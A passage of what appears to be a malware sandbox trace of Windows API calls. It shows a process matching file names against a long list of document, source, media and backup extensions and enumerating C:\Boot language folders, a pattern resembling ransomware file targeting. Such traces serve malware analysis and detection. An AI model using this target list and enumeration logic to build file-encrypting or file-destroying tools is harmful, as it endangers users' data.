lstrcmpiW (lpString1=".asc", lpString2="") returned 1 [0033.923] lstrlenW (lpString=".ascx") returned 5 [0033.923] lstrcmpiW (lpString1=".ascx", lpString2="") returned 1 [0033.923] lstrlenW (lpString=".asm") returned 4 [0033.923] lstrcmpiW (lpString1=".asm", lpString2="") returned 1 [0033.923] lstrlenW (lpString=".asmx") returned 5 [0033.923] lstrcmpiW (lpString1=".asmx", lpString2="") returned 1 [0033.923] lstrlenW (lpString=".asp") returned 4 [0033.923] lstrcmpiW (lpString1=".asp", lpString2="") returned 1 [0033.923] lstrlenW (lpString=".aspx") returned 5 [0033.923] lstrcmpiW (lpString1=".aspx", lpString2="") returned 1 [0033.923] lstrlenW (lpString=".asr") returned 4 [0033.923] lstrcmpiW (lpString1=".asr", lpString2="") returned 1 [0033.923] lstrlenW (lpString=".asx") returned 4 [0033.923] lstrcmpiW (lpString1=".asx", lpString2="") returned 1 [0033.923] lstrlenW (lpString=".avi") returned 4 [0033.923] lstrcmpiW (lpString1=".avi", lpString2="") returned 1 [0033.923] lstrlenW (lpString=".avs") returned 4 [0033.923] lstrcmpiW (lpString1=".avs", lpString2="") returned 1 [0033.923] lstrlenW (lpString=".backup") returned 7 [0033.923] lstrcmpiW (lpString1=".backup", lpString2="") returned 1 [0033.923] lstrlenW (lpString=".bak") returned 4 [0033.923] lstrcmpiW (lpString1=".bak", lpString2="") returned 1 [0033.923] lstrlenW (lpString=".bay") returned 4 [0033.923] lstrcmpiW (lpString1=".bay", lpString2="") returned 1 [0033.923] lstrlenW (lpString=".bd") returned 3 [0033.923] lstrcmpiW (lpString1=".bd", lpString2="BCD") returned -1 [0033.923] lstrlenW (lpString=".bin") returned 4 [0033.923] lstrcmpiW (lpString1=".bin", lpString2="") returned 1 [0033.923] lstrlenW (lpString=".bmp") returned 4 [0033.923] lstrcmpiW (lpString1=".bmp", lpString2="") returned 1 [0033.923] lstrlenW (lpString=".bz2") returned 4 [0033.923] lstrcmpiW (lpString1=".bz2", lpString2="") returned 1 [0033.923] lstrlenW (lpString=".c") returned 2 [0033.923] lstrcmpiW (lpString1=".c", lpString2="CD") returned -1 [0033.923] lstrlenW (lpString=".cdr") returned 4 [0033.923] lstrcmpiW (lpString1=".cdr", lpString2="") returned 1 [0033.923] lstrlenW (lpString=".cer") returned 4 [0033.923] lstrcmpiW (lpString1=".cer", lpString2="") returned 1 [0033.923] lstrlenW (lpString=".cf") returned 3 [0033.923] lstrcmpiW (lpString1=".cf", lpString2="BCD") returned -1 [0033.923] lstrlenW (lpString=".cfc") returned 4 [0033.923] lstrcmpiW (lpString1=".cfc", lpString2="") returned 1 [0033.923] lstrlenW (lpString=".cfm") returned 4 [0033.923] lstrcmpiW (lpString1=".cfm", lpString2="") returned 1 [0033.923] lstrlenW (lpString=".cfml") returned 5 [0033.923] lstrcmpiW (lpString1=".cfml", lpString2="") returned 1 [0033.923] lstrlenW (lpString=".cfu") returned 4 [0033.923] lstrcmpiW (lpString1=".cfu", lpString2="") returned 1 [0033.923] lstrlenW (lpString=".chm") returned 4 [0033.923] lstrcmpiW (lpString1=".chm", lpString2="") returned 1 [0033.923] lstrlenW (lpString=".cin") returned 4 [0033.923] lstrcmpiW (lpString1=".cin", lpString2="") returned 1 [0033.923] lstrlenW (lpString=".class") returned 6 [0033.923] lstrcmpiW (lpString1=".class", lpString2="") returned 1 [0033.923] lstrlenW (lpString=".clx") returned 4 [0033.923] lstrcmpiW (lpString1=".clx", lpString2="") returned 1 [0033.924] lstrlenW (lpString=".config") returned 7 [0033.924] lstrcmpiW (lpString1=".config", lpString2="") returned 1 [0033.924] lstrlenW (lpString=".cpp") returned 4 [0033.924] lstrcmpiW (lpString1=".cpp", lpString2="") returned 1 [0033.924] lstrlenW (lpString=".cr2") returned 4 [0033.924] lstrcmpiW (lpString1=".cr2", lpString2="") returned 1 [0033.924] lstrlenW (lpString=".crt") returned 4 [0033.924] lstrcmpiW (lpString1=".crt", lpString2="") returned 1 [0033.924] lstrlenW (lpString=".crw") returned 4 [0033.924] lstrcmpiW (lpString1=".crw", lpString2="") returned 1 [0033.924] lstrlenW (lpString=".cs") returned 3 [0033.924] lstrcmpiW (lpString1=".cs", lpString2="BCD") returned -1 [0033.924] lstrlenW (lpString=".css") returned 4 [0033.924] lstrcmpiW (lpString1=".css", lpString2="") returned 1 [0033.924] lstrlenW (lpString=".csv") returned 4 [0033.924] lstrcmpiW (lpString1=".csv", lpString2="") returned 1 [0033.924] lstrlenW (lpString=".cub") returned 4 [0033.924] lstrcmpiW (lpString1=".cub", lpString2="") returned 1 [0033.924] lstrlenW (lpString=".dae") returned 4 [0033.924] lstrcmpiW (lpString1=".dae", lpString2="") returned 1 [0033.924] lstrlenW (lpString=".dat") returned 4 [0033.924] lstrcmpiW (lpString1=".dat", lpString2="") returned 1 [0033.924] lstrlenW (lpString=".db") returned 3 [0033.924] lstrcmpiW (lpString1=".db", lpString2="BCD") returned -1 [0033.924] lstrlenW (lpString=".dbf") returned 4 [0033.924] lstrcmpiW (lpString1=".dbf", lpString2="") returned 1 [0033.924] lstrlenW (lpString=".dbx") returned 4 [0033.924] lstrcmpiW (lpString1=".dbx", lpString2="") returned 1 [0033.924] lstrlenW (lpString=".dc3") returned 4 [0033.924] lstrcmpiW (lpString1=".dc3", lpString2="") returned 1 [0033.924] lstrlenW (lpString=".dcm") returned 4 [0033.924] lstrcmpiW (lpString1=".dcm", lpString2="") returned 1 [0033.924] lstrlenW (lpString=".dcr") returned 4 [0033.924] lstrcmpiW (lpString1=".dcr", lpString2="") returned 1 [0033.924] lstrlenW (lpString=".der") returned 4 [0033.924] lstrcmpiW (lpString1=".der", lpString2="") returned 1 [0033.924] lstrlenW (lpString=".dib") returned 4 [0033.924] lstrcmpiW (lpString1=".dib", lpString2="") returned 1 [0033.924] lstrlenW (lpString=".dic") returned 4 [0033.924] lstrcmpiW (lpString1=".dic", lpString2="") returned 1 [0033.924] lstrlenW (lpString=".dif") returned 4 [0033.924] lstrcmpiW (lpString1=".dif", lpString2="") returned 1 [0033.924] lstrlenW (lpString=".divx") returned 5 [0033.924] lstrcmpiW (lpString1=".divx", lpString2="") returned 1 [0033.924] lstrlenW (lpString=".djvu") returned 5 [0033.924] lstrcmpiW (lpString1=".djvu", lpString2="") returned 1 [0033.924] lstrlenW (lpString=".dng") returned 4 [0033.924] lstrcmpiW (lpString1=".dng", lpString2="") returned 1 [0033.924] lstrlenW (lpString=".doc") returned 4 [0033.924] lstrcmpiW (lpString1=".doc", lpString2="") returned 1 [0033.924] lstrlenW (lpString=".docm") returned 5 [0033.924] lstrcmpiW (lpString1=".docm", lpString2="") returned 1 [0033.924] lstrlenW (lpString=".docx") returned 5 [0033.924] lstrcmpiW (lpString1=".docx", lpString2="") returned 1 [0033.924] lstrlenW (lpString=".dot") returned 4 [0033.924] lstrcmpiW (lpString1=".dot", lpString2="") returned 1 [0033.925] lstrlenW (lpString=".dotm") returned 5 [0033.925] lstrcmpiW (lpString1=".dotm", lpString2="") returned 1 [0033.925] lstrlenW (lpString=".dotx") returned 5 [0033.925] lstrcmpiW (lpString1=".dotx", lpString2="") returned 1 [0033.925] lstrlenW (lpString=".dpx") returned 4 [0033.925] lstrcmpiW (lpString1=".dpx", lpString2="") returned 1 [0033.925] lstrlenW (lpString=".dqy") returned 4 [0033.925] lstrcmpiW (lpString1=".dqy", lpString2="") returned 1 [0033.925] lstrlenW (lpString=".dsn") returned 4 [0033.925] lstrcmpiW (lpString1=".dsn", lpString2="") returned 1 [0033.925] lstrlenW (lpString=".dt") returned 3 [0033.925] lstrcmpiW (lpString1=".dt", lpString2="BCD") returned -1 [0033.925] lstrlenW (lpString=".dtd") returned 4 [0033.925] lstrcmpiW (lpString1=".dtd", lpString2="") returned 1 [0033.925] lstrlenW (lpString=".dwg") returned 4 [0033.925] lstrcmpiW (lpString1=".dwg", lpString2="") returned 1 [0033.925] lstrlenW (lpString=".dwt") returned 4 [0033.925] lstrcmpiW (lpString1=".dwt", lpString2="") returned 1 [0033.925] lstrlenW (lpString=".dx") returned 3 [0033.925] lstrcmpiW (lpString1=".dx", lpString2="BCD") returned -1 [0033.925] lstrlenW (lpString=".dxf") returned 4 [0033.925] lstrcmpiW (lpString1=".dxf", lpString2="") returned 1 [0033.925] lstrlenW (lpString=".edml") returned 5 [0033.925] lstrcmpiW (lpString1=".edml", lpString2="") returned 1 [0033.925] lstrlenW (lpString=".efd") returned 4 [0033.925] lstrcmpiW (lpString1=".efd", lpString2="") returned 1 [0033.925] lstrlenW (lpString=".elf") returned 4 [0033.925] lstrcmpiW (lpString1=".elf", lpString2="") returned 1 [0033.925] lstrlenW (lpString=".emf") returned 4 [0033.925] lstrcmpiW (lpString1=".emf", lpString2="") returned 1 [0033.925] lstrlenW (lpString=".emz") returned 4 [0033.925] lstrcmpiW (lpString1=".emz", lpString2="") returned 1 [0033.925] lstrlenW (lpString=".epf") returned 4 [0033.925] lstrcmpiW (lpString1=".epf", lpString2="") returned 1 [0033.925] lstrlenW (lpString=".eps") returned 4 [0033.925] lstrcmpiW (lpString1=".eps", lpString2="") returned 1 [0033.925] lstrlenW (lpString=".epsf") returned 5 [0033.925] lstrcmpiW (lpString1=".epsf", lpString2="") returned 1 [0033.925] lstrlenW (lpString=".epsp") returned 5 [0033.925] lstrcmpiW (lpString1=".epsp", lpString2="") returned 1 [0033.925] lstrlenW (lpString=".erf") returned 4 [0033.925] lstrcmpiW (lpString1=".erf", lpString2="") returned 1 [0033.925] lstrlenW (lpString=".exr") returned 4 [0033.925] lstrcmpiW (lpString1=".exr", lpString2="") returned 1 [0033.925] lstrlenW (lpString=".f4v") returned 4 [0033.925] lstrcmpiW (lpString1=".f4v", lpString2="") returned 1 [0033.925] lstrlenW (lpString=".fido") returned 5 [0033.925] lstrcmpiW (lpString1=".fido", lpString2="") returned 1 [0033.925] lstrlenW (lpString=".flm") returned 4 [0033.925] lstrcmpiW (lpString1=".flm", lpString2="") returned 1 [0033.925] lstrlenW (lpString=".flv") returned 4 [0033.925] lstrcmpiW (lpString1=".flv", lpString2="") returned 1 [0033.925] lstrlenW (lpString=".frm") returned 4 [0033.925] lstrcmpiW (lpString1=".frm", lpString2="") returned 1 [0033.925] lstrlenW (lpString=".fxg") returned 4 [0033.925] lstrcmpiW (lpString1=".fxg", lpString2="") returned 1 [0033.926] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xfffe) returned 0x39406e8 [0033.926] FindFirstFileW (in: lpFileName="C:\\Boot\\cs-CZ\\*", lpFindFileData=0x352f808 | out: lpFindFileData=0x352f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac015040, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x975280 [0033.926] FindNextFileW (in: hFindFile=0x975280, lpFindFileData=0x352f808 | out: lpFindFileData=0x352f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac015040, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0033.926] FindNextFileW (in: hFindFile=0x975280, lpFindFileData=0x352f808 | out: lpFindFileData=0x352f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c50, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0033.927] FindClose (in: hFindFile=0x975280 | out: hFindFile=0x975280) returned 1 [0033.927] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x39406e8 | out: hHeap=0x880000) returned 1 [0033.927] FindNextFileW (in: hFindFile=0x974238, lpFindFileData=0x352fa84 | out: lpFindFileData=0x352fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-DK", cAlternateFileName="")) returned 1 [0033.927] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xfffe) returned 0x39406e8 [0033.927] FindFirstFileW (in: lpFileName="C:\\Boot\\da-DK\\*", lpFindFileData=0x352f808 | out: lpFindFileData=0x352f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x975280 [0033.927] FindNextFileW (in: hFindFile=0x975280, lpFindFileData=0x352f808 | out: lpFindFileData=0x352f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0033.927] FindNextFileW (in: hFindFile=0x975280, lpFindFileData=0x352f808 | out: lpFindFileData=0x352f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0033.927] FindClose (in: hFindFile=0x975280 | out: hFindFile=0x975280) returned 1 [0033.927] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x39406e8 | out: hHeap=0x880000) returned 1 [0033.927] FindNextFileW (in: hFindFile=0x974238, lpFindFileData=0x352fa84 | out: lpFindFileData=0x352fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-DE", cAlternateFileName="")) returned 1 [0033.927] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xfffe) returned 0x39406e8 [0033.927] FindFirstFileW (in: lpFileName="C:\\Boot\\de-DE\\*", lpFindFileData=0x352f808 | out: lpFindFileData=0x352f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x975280 [0033.928] FindNextFileW (in: hFindFile=0x975280, lpFindFileData=0x352f808 | out: lpFindFileData=0x352f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0033.928] FindNextFileW (in: hFindFile=0x975280, lpFindFileData=0x352f808 | out: lpFindFileData=0x352f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8132526, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0033.928] FindClose (in: hFindFile=0x975280 | out: hFindFile=0x975280) returned 1 [0033.928] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x39406e8 | out: hHeap=0x880000) returned 1 [0033.928] FindNextFileW (in: hFindFile=0x974238, lpFindFileData=0x352fa84 | out: lpFindFileData=0x352fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="el-GR", cAlternateFileName="")) returned 1 [0033.928] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xfffe) returned 0x39406e8 [0033.928] FindFirstFileW (in: lpFileName="C:\\Boot\\el-GR\\*", lpFindFileData=0x352f808 | out: lpFindFileData=0x352f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x975280 [0033.930] FindNextFileW (in: hFindFile=0x975280, lpFindFileData=0x352f808 | out: lpFindFileData=0x352f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0033.931] FindNextFileW (in: hFindFile=0x975280, lpFindFileData=0x352f808 | out: lpFindFileData=0x352f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea239054, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x17250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0033.931] FindClose (in: hFindFile=0x975280 | out: hFindFile=0x975280) returned 1 [0033.931] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x39406e8 | out: hHeap=0x880000) returned 1 [0033.931] FindNextFileW (in: hFindFile=0x974238, lpFindFileData=0x352fa84 | out: lpFindFileData=0x352fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0033.931] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xfffe) returned 0x39406e8 [0033.931] FindFirstFileW (in: lpFileName="C:\\Boot\\en-US\\*", lpFindFileData=0x352f808 | out: lpFindFileData=0x352f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x975280 [0033.931] FindNextFileW (in: hFindFile=0x975280, lpFindFileData=0x352f808 | out: lpFindFileData=0x352f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0033.931] FindNextFileW (in: hFindFile=0x975280, lpFindFileData=0x352f808 | out: lpFindFileData=0x352f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x14c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0033.932] FindClose (in: hFindFile=0x975280 | out: hFindFile=0x975280) returned 1 [0033.932] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x39406e8 | out: hHeap=0x880000) returned 1 [0033.932] FindNextFileW (in: hFindFile=0x974238, lpFindFileData=0x352fa84 | out: lpFindFileData=0x352fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-ES", cAlternateFileName="")) returned 1 [0033.932] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xfffe) returned 0x39406e8 [0033.932] FindFirstFileW (in: lpFileName="C:\\Boot\\es-ES\\*", lpFindFileData=0x352f808 | out: lpFindFileData=0x352f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x975280 [0033.932] FindNextFileW (in: hFindFile=0x975280, lpFindFileData=0x352f808 | out: lpFindFileData=0x352f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0033.932] FindNextFileW (in: hFindFile=0x975280, lpFindFileData=0x352f808 | out: lpFindFileData=0x352f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84ea6d7, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0033.933] FindClose (in: hFindFile=0x975280 | out: hFindFile=0x975280) returned 1 [0033.933] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x39406e8 | out: hHeap=0x880000) returned 1 [0033.933] FindNextFileW (in: hFindFile=0x974238, lpFindFileData=0x352fa84 | out: lpFindFileData=0x352fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-FI", cAlternateFileName="")) returned 1 [0033.933] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xfffe) returned 0x39406e8 [0033.933] FindFirstFileW (in: lpFileName="C:\\Boot\\fi-FI\\*", lpFindFileData=0x352f808 | out: lpFindFileData=0x352f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x975280 [0033.933] FindNextFileW (in: hFindFile=0x975280, lpFindFileData=0x352f808 | out: lpFindFileData=0x352f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0033.933] FindNextFileW (in: hFindFile=0x975280, lpFindFileData=0x352f808 | out: lpFindFileData=0x352f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe836d95d, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0033.933] FindClose (in: hFindFile=0x975280 | out: hFindFile=0x975280) returned 1 [0033.933] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x39406e8 | out: hHeap=0x880000) returned 1 [0033.933] FindNextFileW (in: hFindFile=0x974238, lpFindFileData=0x352fa84 | out: lpFindFileData=0x352fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, 